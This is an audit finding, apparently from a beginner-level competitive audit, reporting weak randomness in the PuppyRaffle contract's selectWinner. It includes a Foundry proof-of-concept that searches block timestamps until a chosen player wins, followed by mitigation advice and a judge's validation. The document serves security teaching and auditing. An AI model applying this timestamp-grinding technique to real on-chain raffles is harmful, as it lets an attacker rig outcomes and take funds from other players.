Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak randomness

[H-2] Weak randomness in PuppyRaffle::selectWinner winner allows anyone to choose winner

Description:
Using the Pseudo randomness everyone can make a setup to check when to call the selectWinner method to make himself the winner.

Impact:
Cheating the raffle will make it less attractive to users

Tools used:
foundry

Proof of Concept:

function testCheatingTheRaffleToFixTheWinner() public {
address[] memory players = new address[](5);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
players[4] = address(5);
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
address fixedWinner = playerTwo;
// address[] memory newPlayers = new address[](1);
// newPlayers[0] = fixedWinner;
// puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
uint256 fixedWinnerIndex = puppyRaffle.getActivePlayerIndex(fixedWinner);
// players count could be get from emitted events
// but for simplicity its value is set directly
uint256 playersCount = players.length;
uint256 startingBlocktimestamp = block.timestamp + duration;
while(true) {
if (fixedWinnerIndex == pseudoRandomWinnerIndex(fixedWinner, startingBlocktimestamp, block.difficulty, playersCount)) {
break;
}
startingBlocktimestamp += 1;
}
vm.warp(startingBlocktimestamp);
vm.roll(block.number + 1);
vm.startPrank(fixedWinner);
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), fixedWinner);
}
function pseudoRandomWinnerIndex(address sender, uint256 blockTimestamp, uint256 blockDifficulty, uint256 playersLength) private pure returns (uint256) {
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(sender, blockTimestamp, blockDifficulty))) % playersLength;
return winnerIndex;
}

Recommended Mitigation:

To prevent the exploitation of the vulnerability outlined above should avoid using block.timestamp as sources of randomness in situations where true randomness is crucial. Instead, consider the following preventative techniques:

  1. Oracles: Use decentralized oracles that provide external randomness sources. These oracles can fetch unpredictable data from off-chain sources, enhancing the randomness of the generated values.

  2. Chainlink VRF: Leverage Chainlink’s Verifiable Random Function (VRF) to generate secure random numbers. Chainlink VRF uses multiple inputs to produce a random value that can be verified on-chain.

  3. Commit-Reveal Schemes: Implement commit-reveal schemes where participants commit to values in advance and reveal them later. This introduces an additional layer of unpredictability.

  4. External Contracts: Interact with other smart contracts that specialize in randomness generation. These contracts might utilize more secure mechanisms to ensure randomness.

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.